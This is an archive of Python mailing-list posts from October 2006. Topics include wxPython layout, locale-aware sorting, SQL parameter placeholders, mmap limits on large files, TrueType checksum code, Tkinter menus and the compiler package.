From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Mon, 30 Oct 2006 20:47:58 GMT
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <1162240822.260735.316040@e64g2000cwd.googlegroups.com>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
	<PJs1h.204$1n3.4348@news.tufts.edu>
	<1162238656.661097.75180@f16g2000cwb.googlegroups.com>
	<N6t1h.205$1n3.4487@news.tufts.edu>
	<1162240822.260735.316040@e64g2000cwd.googlegroups.com>
Message-ID: <2yt1h.206$1n3.4433@news.tufts.edu>

abcd wrote:
>> But one question that comes to mind is, do you not add sizerTextPanel to
>> sizerMainPanel? I think all sub-sizers should be added to the main
>> sizer, unless there's some weird reason I don't know of.
> 
> well i set the sizer on the textPanel and then I add the textPanel to
> sizerMainPanel
> 

Ah, I see. Seems like it may be a sizer issue, since you are adding a 
bunch of things together. I noticed that one object you refer to is 
self.textPane, is that supposed to be self.textPanel?


From antoine at vo.lu  Thu Oct 12 02:41:03 2006
From: antoine at vo.lu (Antoine De Groote)
Date: Thu, 12 Oct 2006 08:41:03 +0200
Subject: How to write Smart Python programs?
In-Reply-To: <7xu02a11md.fsf@ruckus.brouhaha.com>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
	<452cbe11$1@news.vo.lu> <452de0f6$1@news.vo.lu>
	<7xu02a11md.fsf@ruckus.brouhaha.com>
Message-ID: <452de35d$1@news.vo.lu>

Paul Rubin wrote:
> Antoine De Groote <antoine at vo.lu> writes:
>> In the snippet above (taken from the Python doc
>> http://docs.python.org/lib/built-in-funcs.html), self.__x is
>> initialized, but never used. I would appreciate any explanation for
>> this.
> 
> Looks like a typo, should say self._x .

Ok, thanks, that's just what I was thinking..


From grahn+nntp at snipabacken.dyndns.org  Tue Oct 17 08:13:32 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 17 Oct 2006 12:13:32 GMT
Subject: Alphabetical sorts
References: <4aQYg.6347$fl.1193@dukeread08>
	<slrnej7l5u.1dc.horpner@FIAD06.norwich.edu>
	<z3YYg.6629$fl.5841@dukeread08>
Message-ID: <slrnej9i7a.gim.grahn+nntp@frailea.sa.invalid>

On Mon, 16 Oct 2006 22:22:47 -0500, Ron Adam <rrr at ronadam.com> wrote:
...
> I see this is actually a very complex subject.
...
> It looks to me this would be a good candidate for a configurable class. 
> Something preferably in the string module where it could be found easier.

/And/ choosing a locale shouldn't mean changing a process-global state.
Sometimes you want to perform something locale-depending in locale A,
followed by doing it in locale B. Switching locales today takes time and has
the same problems as global variables (unless there is another interface I
am not aware of).

But I suspect that is already a well-known problem.

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From e.h.doxtator at accenture.com  Wed Oct 11 13:19:54 2006
From: e.h.doxtator at accenture.com (e.h.doxtator at accenture.com)
Date: 11 Oct 2006 10:19:54 -0700
Subject: Adding Worksheets to an Excel Workbook
In-Reply-To: <1160521690.691861.283500@e3g2000cwe.googlegroups.com>
References: <1160514523.693496.223630@e3g2000cwe.googlegroups.com>
	<1160521690.691861.283500@e3g2000cwe.googlegroups.com>
Message-ID: <1160587194.660628.126950@m7g2000cwm.googlegroups.com>

These are all excellent suggestions.  Thanks everyone for your help!



From apardon at forel.vub.ac.be  Tue Oct 10 03:34:01 2006
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 10 Oct 2006 07:34:01 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com> <877izb1vwe.fsf@pobox.com>
	<eg9qne$82j$1@panix3.panix.com>
	<slrneik8ap.55m.apardon@rcpc42.vub.ac.be>
	<egecss$o1l$1@panix3.panix.com> <egerit$brm$1@news.Stanford.EDU>
	<mailman.161.1160444073.11739.python-list@python.org>
Message-ID: <slrneimj79.55m.apardon@rcpc42.vub.ac.be>

On 2006-10-10, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> "Andy Salnikov" <a_salnikov at yahoo.com> writes:
>
>> "Aahz" <aahz at pythoncraft.com> wrote:
>> > Antoon Pardon <apardon at forel.vub.ac.be> wrote:
>> >>The problem is there is also ground for bugs if you don't use
>> >>"blah is True". If some application naturally seems to ask for a
>> >>variable that can be valued False, True or a positive integer then
>> >>things like "if var" or "if not var" may very well be a bug too.
>> >
>> > Anyone designing an app like that in Python deserves to lose.
>> > It's just another way of shooting yourself in the foot.
>>
>> OK, I guess nobody ever heard about three-valued logic before,
>> right?
>
> Three-valued logic is fine for some purposes. Bending boolean
> two-valued constants to play the part of three-valued is confusing and
> wrong.

Why? The variable in question gives an answer to the question:

  Has the user requested a connection.

To which the answer can be:

  1: No
  2: Yes
  3: Yes and the connection ID is ...

So tell me what is wrong with using False and True for the simple
No and Yes answer in this case?

>> Of course it does not apply to the original post because has_key()
>> can only return True or False (I hope it will not ever return
>> DontKnow:) but in general if you implement something like 3-valued
>> logic choices like (False,True,None) are almost obvious.
>
> No. Using False and True is a strong signal to the reader that you're
> using *two* value logic. If you break that expectation, the reader
> should not be expected to sympathise.

IMO that expectation is unpythonic. Python allows that a variable
can be of different types during its lifetime. There is even no
mechanism to limit a variable to a specific type. So there is no
reason to expect a variable is limited to False and True just
because one of those was used. Just as there is no reason to
expect a variable will always be an integer just because it
was assigned an integer constant at some point.

> As another poster suggested, if you want to implement three-valued
> logic, use three new objects to represent the states, so the reader
> *knows* there's something going on other than two-value logic. Don't
> re-use False and True in three-valued logic and expect anyone to
> understand your code.

I thought that was the purpose of documentation.

-- 
Antoon Pardon


From skip at pobox.com  Tue Oct 31 12:53:02 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 31 Oct 2006 11:53:02 -0600
Subject: "best" rational number library for Python?
Message-ID: <17735.36222.979168.349287@montanaro.dyndns.org>

A guy at work asked for functionality commonly found with rational numbers,
so I said I'd find and install something.  I figured gmpy would be suitable,
alas I'm having trouble successfully building the underlying GMP 4.2.1
library on a PC running Solaris 10 (won't compile with the default --host,
fails "make check" if I go the no-assembly route).  Before I invest a bunch
of time into this, am I barking up the wrong tree?

Performance is, for now, certainly not an issue.  Even a pure Python
rational number class would probably suffice.

Thx,

Skip


From carsten at uniqsys.com  Thu Oct  5 17:21:13 2006
From: carsten at uniqsys.com (Carsten Haese)
Date: Thu, 05 Oct 2006 17:21:13 -0400
Subject: How do I put % in a format sting?
In-Reply-To: <VJdVg.78$1n3.1112@news.tufts.edu>
References: <mailman.1381.1160078805.10491.python-list@python.org>
	<VJdVg.78$1n3.1112@news.tufts.edu>
Message-ID: <1160083273.22568.49.camel@dot.uniqsys.com>

On Thu, 2006-10-05 at 16:15, John Salerno wrote:
> But I think SQL has other recommended methods. At least with SQLite, it 
> is recommended you not use Python's %s formatter but instead the "?" 
> formatter.

While I wholeheartedly agree with the sentiment, calling the "?" a
formatter only blurs the already blurred distinction between string
formatting and parameter passing. The "?" is a parameter placeholder.

I'm not gonna go into the reasons for why one should always use
parametrized queries instead of rolling queries via string formatting,
but the keywords are "SQL injection attack" and "poor performance". I
would like to point out, though, that parameter passing in DB-API
compliant database access modules is in general very different from
string formatting.

In most databases, when you say cur.execute("update sometable set
somecolumn = ? where somekey = ?", ("spam", "eggs")), the database
driver does *not* build a query string with string literals for "spam"
and "eggs" substituted into the query. Real databases have a native API
that allows passing a parametrized query and a set of parameter
bindings, no string substitution required or desired.

Some databases do not have such an API, and their respective DB-API
modules emulate parameter passing by string substitution, but that is an
implementation detail nobody should care about. However, it is precisely
those databases that blur the distinction between parameter passing and
string substitution, especially because their implementations tend to
use "%s" parameter placeholders to make the internal string substitution
easier, thus leaking an implementation detail into application code in
an unfortunate way. (This is also the reason why I'd like to see %s
parameter placeholders banned from future versions of the DB-API spec.)

The bottom-line is, when writing parametrized queries, the "?" or "%s"
or whatever is used to indicate that "here be parameters" is a parameter
placeholder, not a formatter.

Thanks for listening, I hope somebody out there finds this helpful ;)

-Carsten




From horpner at yahoo.com  Fri Oct 13 22:16:31 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Sat, 14 Oct 2006 02:16:31 GMT
Subject: COM error
References: <1160791154.186493.167980@f16g2000cwb.googlegroups.com>
Message-ID: <3MXXg.6230$5i7.1379@newsreading01.news.tds.net>

On 2006-10-14, Teja <tejovathi.p at gmail.com> wrote:
> What is "ValueError: argument is not a COM object" ? I get this
> error when I try to pass a COM object to a thread.
>
> Any pointers????

Try passing it to Larry Bird, instead. He's bound to score some
points.

Seriously, the function you called expected a COM object and you
passed it something else. Without seeing more code, it's hard to
be any helpfuller.

-- 
Neil Cerutti


From bignose+hates-spam at benfinney.id.au  Thu Oct  5 02:33:43 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 05 Oct 2006 16:33:43 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<mailman.1146.1159866456.10491.python-list@python.org>
	<gzJUg.134225$zy5.1829430@twister1.libero.it>
	<452410E9.9040403@v.loewis.de>
	<TnVUg.135451$zy5.1833460@twister1.libero.it>
	<1159997348.228622.246410@h48g2000cwc.googlegroups.com>
	<87hcyjel70.fsf@benfinney.id.au> <eg27ml$ff6$1@sea.gmane.org>
Message-ID: <878xjve0fs.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> And I'd prefer it if you'd drop this subject. So, if you have
> nothing new to say, kindly leave it.

I'm happy to, but:

> You appear to be prepared to go to any length short of providing
> effort to support the open source tracker.

This was addressed in a previous post. I don't have the skills nor the
resources to do this. Yes, as has been pointed out, it actually *is*
far less effort to point out problems, than to solve them. That
doesn't detract from the value of pointing out problems.

This thread was started on the shock of realising that a non-free tool
was even being *considered* for the new Python bug tracker. Those are
the terms on which I've been arguing.

Apparently there are some people who *have* put themselves forward to
support a free-software tool. Great! My point all along has been that
Python's developers are well advised to consider *only* free-software
tools for supporting development of Python, and that from among those
the best tool for the job should be chosen.

As you say, nothing new has been said now for a while, so in the
absence of that I'm happy to leave it here.

-- 
 \        "Why, I'd horse-whip you if I had a horse."  -- Groucho Marx |
  `\                                                                   |
_o__)                                                                  |
Ben Finney



From grahn+nntp at snipabacken.dyndns.org  Fri Oct 13 13:05:01 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 13 Oct 2006 17:05:01 GMT
Subject: How can I correct an error in an old post?
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<slrnei2btn.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1100.1159803391.10491.python-list@python.org>
	<slrnei7hlp.gim.grahn+nntp@frailea.sa.invalid>
	<mailman.1275.1159976255.10491.python-list@python.org>
Message-ID: <slrneivhpr.gim.grahn+nntp@frailea.sa.invalid>

On Wed, 04 Oct 2006 16:37:24 +0100, Steve Holden <steve at holdenweb.com> wrote:
> Jorgen Grahn wrote:
...
>> I think you are overreacting. This was a thread with three (3) postings, in
>> a high-volume newsgroup, with no indication that it would continue (except
>> maybe with a pointer to whatever posting the OP wanted to correct, or to his
>> correction).
>> 
> I probably was. I also missed the (in retrospect, fairly clear) 
> implication that it was an old *c.l.py* post that was being discussed.

Okay.

Naturally, due to my prediction that the thread would die or the OP would
resurface with on-topic stuff, the thread stayed alive and offtopic and the
OP never came back. I'll stop now, honestly ;-)

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From martin at v.loewis.de  Wed Oct 25 13:13:38 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 19:13:38 +0200
Subject: unsigned 32 bit arithmetic type?
In-Reply-To: <mailman.1185.1161793738.11739.python-list@python.org>
References: <453F3189.5000502@chamonix.reportlab.co.uk>	<ehndnf$5n4$1@sea.gmane.org>	<mailman.1167.1161773743.11739.python-list@python.org>	<7xu01s9yoz.fsf@ruckus.brouhaha.com>
	<mailman.1185.1161793738.11739.python-list@python.org>
Message-ID: <453F9B42.8060401@v.loewis.de>

Robin Becker schrieb:
>     def add32(x, y):
>         "Calculate (x + y) modulo 2**32"
>         return ((x&0xFFFFFFFFL)+(y&0xFFFFFFFFL)) & 0xffffffffL

That's redundant; it is sufficient to write

          return (x+y) & 0xffffffff

>     def calcChecksum(data):
>         """Calculates TTF-style checksums"""
>         if len(data)&3: data = data + (4-(len(data)&3))*"\0"
>         sum = 0
>         for n in unpack(">%dl" % (len(data)>>2), data):
>             sum = add32(sum,n)
>         return sum

That's also redundant; I'd write

def calcChecksum(data):
   data += "\0\0\0\0"[:len(data)&3]
   return sum(unpack(">%dl" % (len(data)>>2), data)) & 0xffffffff

I.e. it is sufficient to truncate to 32 bits at the end, instead of
doing so after each addition.

Regards,
Martin


From sturlamolden at yahoo.no  Tue Oct 24 17:52:49 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 24 Oct 2006 14:52:49 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <mailman.1040.1161669922.11739.python-list@python.org>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161651470.010831.93400@m73g2000cwd.googlegroups.com>
	<mailman.1040.1161669922.11739.python-list@python.org>
Message-ID: <1161726769.183593.63300@m7g2000cwm.googlegroups.com>


Fredrik Lundh wrote:

> > to large to fit in a 32 address space. Thus, mmapmodule.c needs to be
> > fixed before it can be used for large files.
>
> if you've gotten that far, maybe you could come up with a patch, instead
> of stating that someone else "needs to fix it" ?

I did not say "someone else" needs to fix it. I can patch it, but I am
busy until next weekend. This is a typical job for a cold, rainy
Saturday afternoon. Also I am not in a hurry to patch mmapmodule.c for
my own projects, as I am not using it (but I am going to).

A patch would involve an new object, say, "mmap.mmap2"  that thakes the
additional offeset parameter. I don't want it to break any code
dependent on the existing "mmap.mmap" object. Also, I think mmap.mmap2
should allow the file object to be None, and in that case return a
shared memory segment backed by the OS' paging file. Calling
CreateFileMapping with the filehandle set to INVALID_HANDLE_VALUE is
how shared memory for IPC is created on Windows.



From martin at v.loewis.de  Fri Oct  6 07:07:26 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 06 Oct 2006 13:07:26 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <7x3ba1ltvj.fsf@ruckus.brouhaha.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
	<f4rfv3-vhg.ln1@nb2.stroeder.com> <45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<7x3ba1ltvj.fsf@ruckus.brouhaha.com>
Message-ID: <452638EE.8030505@v.loewis.de>

Paul Rubin schrieb:
> How often should a tracker freeze anyway?  People with no technical
> knowledge at all run BBS systems that almost never freeze.  Is a
> tracker somehow more failure-prone?  It's just a special purpose BBS,
> I'd have thought.

For whatever reason, the SF bug tracker is often down, or not
responding. I'm uncertain why that is, but it's a matter of
fact that this was one of the driving forces in moving away
from SF (so it is a real problem).

Regards,
Martin


From Leo.Kislov at gmail.com  Wed Oct 11 01:50:21 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 10 Oct 2006 22:50:21 -0700
Subject: How to find number of characters in a unicode string?
References: <20060918221814.08625ea2.randhol+valid_for_reply_from_news@pvv.org>
	<pan.2006.09.18.20.29.20.510034@gmx.net>
	<efija1$357$1@lust.ihug.co.nz>
Message-ID: <1160545821.830285.42650@b28g2000cwb.googlegroups.com>


Lawrence D'Oliveiro wrote:
> In message <pan.2006.09.18.20.29.20.510034 at gmx.net>, Marc 'BlackJack'
> Rintsch wrote:
>
> > In <20060918221814.08625ea2.randhol+valid_for_reply_from_news at pvv.org>,
> > Preben Randhol wrote:
> >
> >> Is there a way to calculate in characters
> >> and not in bytes to represent the characters.
> >
> > Decode the byte string and use `len()` on the unicode string.
>
> Hmmm, for some reason
>
>     len(u"C\u0327")
>
> returns 2.

If python ever provide this functionality it would be I guess
u"C\u0327".width() == 1. But it's not clear when unicode.org will
provide recommended fixed font character width information for *all*
characters. I recently stumbled upon Tamil language, where for example
u'\u0b95\u0bcd', u'\u0b95\u0bbe', u'\u0b95\u0bca', u'\u0b95\u0bcc'
looks like they have width 1,2,3 and 4 columns. To add insult to injury
these 4 symbols are all considered *single* letter symbols :) If your
email reader is able to show them, here they are in all their glory:
??, ??, ??, ??.



From hanumizzle at gmail.com  Fri Oct 13 10:08:59 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 10:08:59 -0400
Subject: Where is Python in the scheme of things?
In-Reply-To: <egl3tv$g4g$1@wake.carmen.se>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
	<4524beb9$0$310$426a74cc@news.free.fr> <egl3tv$g4g$1@wake.carmen.se>
Message-ID: <463ff4860610130708s7d49d775sf2d38e0b764e0a05@mail.gmail.com>

On 10/12/06, Magnus Lycka <lycka at carmen.se> wrote:

> I feel much more productive in bash than in most Windows apps.
> (I still like to have several terminal windows though.)

Perhaps you have used GNU screen. It's on my definitive list of winners.

(As an added bonus, using screen via SSH or---heaven forfend---telnet
will save you the bandwidth of having a million sessions open.)

-- Theerasak


From fredrik at pythonware.com  Fri Oct  6 06:42:08 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 12:42:08 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrneicbd7.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>	<slrneic180.55m.apardon@rcpc42.vub.ac.be>	<mailman.1431.1160125174.10491.python-list@python.org>	<slrneic807.55m.apardon@rcpc42.vub.ac.be>	<mailman.1439.1160128583.10491.python-list@python.org>
	<slrneicbd7.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <eg5bu0$dlv$1@sea.gmane.org>

Antoon Pardon wrote:

> IMO this is a very natural thought process for a python programmer.
> So a python programmer seeing the first will tend to expect that
> last call to work.

on the other hand, if a Python programmer *writes* some code instead; 
say, a trivial function like:

	def calculate(a, b):
             # approximate; gonna have to fix this later
             return a + b * 1.2

chances are that he did *not* intend this to be called as

         calculate(a=1, b=2)

or, for that matter,

         calculate(b=2, a=1)

or

         calculate(1, b=2)

just because the Python calling machinery currently happens to allow 
that.  And chances are that he did *not* expect to be stuck with those 
argument names for the foreseeable future, just because someone else 
decided to interpret things in the most literal way they possibly could.

Python 2.X doesn't provide convenient support for distinguishing between 
accidental and intentional argument names when you implement a function; 
that's a wart, not a feature, and it may be addressed in 3.X.

</F>



From johnjsal at NOSPAMgmail.com  Fri Oct 13 14:16:13 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 13 Oct 2006 18:16:13 GMT
Subject: SPE for 2.5?
Message-ID: <NJQXg.106$1n3.2880@news.tufts.edu>

Does anyone know if SPE is compatible with Python 2.5? I don't see a 
Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version.

Thanks.


From DustanGroups at gmail.com  Wed Oct  4 20:33:54 2006
From: DustanGroups at gmail.com (Dustan)
Date: 4 Oct 2006 17:33:54 -0700
Subject: Long Tkinter Menu
Message-ID: <1160008434.662011.99300@m73g2000cwd.googlegroups.com>

I don't know if this is because of Tkinter (ie Tk) itself or the
Windows default way of handling things, but when I create a very long
menu (my test is shown below), the way it displays is rather sucky; the
menu stretches from the top of the moniter's window to the bottom (no
matter the size of the actual application).

Is there any alternative format for how a long menu gets displayed? It
would be nice if say, I could make the menu only go to the borders of
the application itself (in this case, not that long).

As for why I'm creating such a long menu, think browser bookmarks
(That's not actually what I'm doing, but similar).

================================
# menu-example-5.py

from Tkinter import *

root = Tk()

menubar = Menu(root)

menu = Menu(menubar, tearoff=0)
for i in xrange(100):
    menu.add_command(label=str(i), command=root.quit)
menu.add_command(label="Exit", command=root.quit)

menubar.add_cascade(label="Test", menu=menu)

root.config(menu=menubar)

mainloop()
================================



From fredrik at pythonware.com  Wed Oct 18 08:38:43 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 18 Oct 2006 14:38:43 +0200
Subject: MemoryError - IMAP retrieve self._sock.recv(recv_size)
References: <20061018122559.15495.qmail@web88207.mail.re2.yahoo.com>
Message-ID: <eh578k$gdc$1@sea.gmane.org>

"Stephen G" <sgreszcz at yahoo.com> wrote:

> I get many exceptions when using the IMAP downloads.  This happens
> randomly; sometimes the file downloads OK, and other times no.

>  File "C:\Python25\lib\socket.py", line 308, in read
>    data = self._sock.recv(recv_size)
>
> Is this a know bug or is there something I can do to work around this?

looks like this

    http://mail.python.org/pipermail/python-list/2005-December/317239.html

or some variation thereof.

</F> 





From fredrik at pythonware.com  Wed Oct 11 01:22:41 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 11 Oct 2006 07:22:41 +0200
Subject: Is a list static when it's a class member?
In-Reply-To: <63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com>
References: <1160505300.141637.40170@i3g2000cwc.googlegroups.com>	<mailman.236.1160506522.11739.python-list@python.org>
	<63goi2huffrd0dt2la9u0tng02a6jd4m8v@4ax.com>
Message-ID: <eghv31$84t$1@sea.gmane.org>

Tom Plunket wrote:

>> if you want separate instances to use separate objects, make sure you 
>> create new objects for each new instance.  see Tim's reply for how to
>> do that.
> 
> kath's response is probably better.

so what's the practical difference between

     def __init__(self, name):
	self.name = name
         self.data = []

and

     def __init__(self, name):
         self.name = name
         self.data=[]

?

 > In Python, you don't define the instance members in the class scope
 > like the OP has done:

the OP's approach works perfectly fine, as long as you understand that 
class attributes are shared.

</F>



From nospam at nosite.zzz  Sat Oct 21 14:37:06 2006
From: nospam at nosite.zzz (Paul Lutus)
Date: Sat, 21 Oct 2006 11:37:06 -0700
Subject: A Comparison Of Dynamic and Static Languiges
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>
Message-ID: <12jkq6k867mls6f@corp.supernews.com>

atbusbook at aol.com wrote:

> I'm doing a report on the speed of develipment and executionin varius
> programing langiuiges. write code for all these tasks in the languige
> of your choise if intrestied send code to atbusbook at aol.com.

What you should be doing is learning basic literacy.

Life works like this:

1. Write your magnum opus article, become famous, retire to a Greek island.

2. But first, learn how to assemble paragraphs into articles.

3. But first, learn how to assemble sentences into paragraphs.

4. But first, learn how to assemble words into sentences.

5. But first, learn how to assemble letters into words.

Start at the bottom, work to the top. Whatever you do, do not presume to
start at the top.

Also, don't post your homework assignment word-for-word. It makes you look
craven and inexperienced.

-- 
Paul Lutus
http://www.arachnoid.com


From chengiz at my-deja.com  Fri Oct 20 14:51:14 2006
From: chengiz at my-deja.com (chengiz at my-deja.com)
Date: 20 Oct 2006 11:51:14 -0700
Subject: Pygtk but no gtk?
Message-ID: <1161370274.621757.299970@m73g2000cwd.googlegroups.com>

I am trying to build an app that requires pygtk so I installed the
latter. The app does the following:
import pygtk
...
import gtk

This crashes with
ImportError: No module named gtk.

I dont know where to get this gtk module from. I assumed pygtk would be
it coz the app doesnt mention any dependency on gtk, also googling
didnt find anything but pygtk. Did I screw up the installation or
something? I dont find any gtk.py file in the python library
directories.

Thank you.
Khan



From Benjamin.Barker at gmail.com  Sun Oct  8 09:26:14 2006
From: Benjamin.Barker at gmail.com (Ben)
Date: 8 Oct 2006 06:26:14 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160313804.076356.278210@c28g2000cwb.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>
	<mailman.55.1160313631.11739.python-list@python.org>
	<1160313804.076356.278210@c28g2000cwb.googlegroups.com>
Message-ID: <1160313974.040577.125970@e3g2000cwe.googlegroups.com>

Ah - I found out why I had cast it to a string. I had not, at that
point, worked out ho to pass the list by value rather than reference,
and so was casting to a string as a stopgap measure that I then forgot
about. Now the problem is fixed after this group told me how to pass a
list by value (by slicing the entire list)


John Machin wrote:

> Theerasak Photha wrote:
> > On 8 Oct 2006 06:12:48 -0700, John Machin <sjmachin at lexicon.net> wrote:
> >
> > >
> > > Show us the code that is creating instances of the panel class ...
> > >
> > > panel1 =
> > > panel(number=?,level=?,location=?,mops=????????????????,matrix=?)
> > > What are you passing as the 4th positional arg
> > > ^^^^^^^^^^^^^^^^^^^^^^^ ???
> >
> > This is wholly unnecessary.
> > 
> > -- Theerasak
> 
> 
> What is wholly unnecessary?



From handful at gmail.com  Tue Oct 17 20:19:03 2006
From: handful at gmail.com (handful of nothing)
Date: 17 Oct 2006 17:19:03 -0700
Subject: Python wrapper for C++ core
In-Reply-To: <711c2$453570a2$404a99a1$22922@news.news-service.com>
References: <1161126339.893795.254110@i3g2000cwc.googlegroups.com>
	<711c2$453570a2$404a99a1$22922@news.news-service.com>
Message-ID: <1161130743.245002.67410@k70g2000cwa.googlegroups.com>

IMHO,

What I learned with the time and of course with books =) :

Python gives you rapid turnaround. You can try different approaches and
archictetures to solve the problem in much faster way than you would
with C++.

When you really need to crunch numbers, and numpy/othermodule is not
enough for you, then you would need to go down and optimize it in c++.

So, the ability to change, re-create and try another strategy would be
a killer reason for me to use python (like I have in the past) for
games or sim apps.

[]s
Robert Heller wrote:
> At 17 Oct 2006 16:05:40 -0700 holly.woodland at gmail.com wrote:
>
> >
> > Hi All
> >
> > Apologies in advance for the pretty basic question - but I can't seem
> > to find an answer anywhere else.
> >
> > I am developing a fluid sim in C++ and have heard that many people use
> > Python in conjunction with C++ for this sort of thing (especially in
> > games dev).
> >
> > What I can't understand why you would want to do this. Obviously the
> > core would be written in C++ (for my purposes anyway) so what parts
> > would be written in Python? What is the benefit, in this situation, of
> > using Python instead of C++?
> >
> > thanks for your help
>
> If they were using Python/Tk to develop a GUI, it makes sense (although
> I would use Tcl/Tk, being a Tcl fan).  In either case, SWIG can generate
> the interface between C/C++ and Python/Tcl.
>
> >
> > Holly
> >
> >
>
> --
> Robert Heller             -- 978-544-6933
> Deepwoods Software        -- Linux Installation and Administration
> http://www.deepsoft.com/  -- Web Hosting, with CGI and Database
> heller at deepsoft.com       -- Contract Programming: C/C++, Tcl/Tk



From fredrik at pythonware.com  Fri Oct 20 06:33:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 20 Oct 2006 12:33:03 +0200
Subject: list2str and performance
References: <4538a09f$0$2517$426a74cc@news.free.fr>
Message-ID: <eha8l0$1sg$1@sea.gmane.org>

"spr" wrote:

> When performance matters and you have to develop a CPU-bound
> application, do you think it is possible to eventually achieve nearly
> the best performance by extending Python with C or C++ modules, or is it
> better to take the embedding approach, that is, use a C or C++ core that
> calls Python scripts?

the embedding approach only makes sense if you 1) have an existing application
that you want to extend with Python, or 2) are trying to sneak Python into an exist-
ing project (it's just a library, you know ;-).

for any other case, putting "Python at the top" is a lot more practical.

</F> 





From sebastien.martini at gmail.com  Sat Oct 28 17:07:36 2006
From: sebastien.martini at gmail.com (=?iso-8859-1?q?s=E9bastien_martini?=)
Date: 28 Oct 2006 14:07:36 -0700
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
References: <mailman.813.1161325547.11739.python-list@python.org>
	<ehffhc$r05$1@news.albasani.net>
	<mailman.997.1161629341.11739.python-list@python.org>
	<ehjah5$bfm$1@news.albasani.net>
	<453d4890$0$22566$9b622d9e@news.freenet.de>
	<1161682522.256752.56630@i42g2000cwa.googlegroups.com>
	<453E5002.2020402@v.loewis.de>
Message-ID: <1162069656.301191.9940@m7g2000cwm.googlegroups.com>

Hi,

> I was primarily talking about language support. For quite some time,
> the compiler package wasn't able to compile the Python standard library,
> until Guido van Rossum (and others) brought it back to work at the last
> PyCon. It would simply reject certain more recent language constructs.
> In the process of fixing it, it was also found to deviate from the
> normal language definition, i.e. it would generate bad code.
>
> Many of these are fixed, but it wouldn't surprise me if there are
> still bugs remaining.

I don't know if it can hide some bugs or if the module has just never
been updated to support this bytecode but LIST_APPEND is never emitted.
In the module compiler, list comprehensions are implemented without
emitting this bytecode, howewer the current implementation seems to be
correct from syntax and execution point of view.

For example:
>>> src = "[a for a in range(3)]"
>>> co = compiler.compile(src, 'lc1', 'exec')
>>> co
<code object <module> at 0x404927b8, file "lc1", line 1>
>>> dis.dis(co)
  1           0 BUILD_LIST               0
              3 DUP_TOP
              4 LOAD_ATTR                0 (append)
              7 STORE_NAME               1 ($append0)
             10 LOAD_NAME                2 (range)
             13 LOAD_CONST               1 (3)
             16 CALL_FUNCTION            1
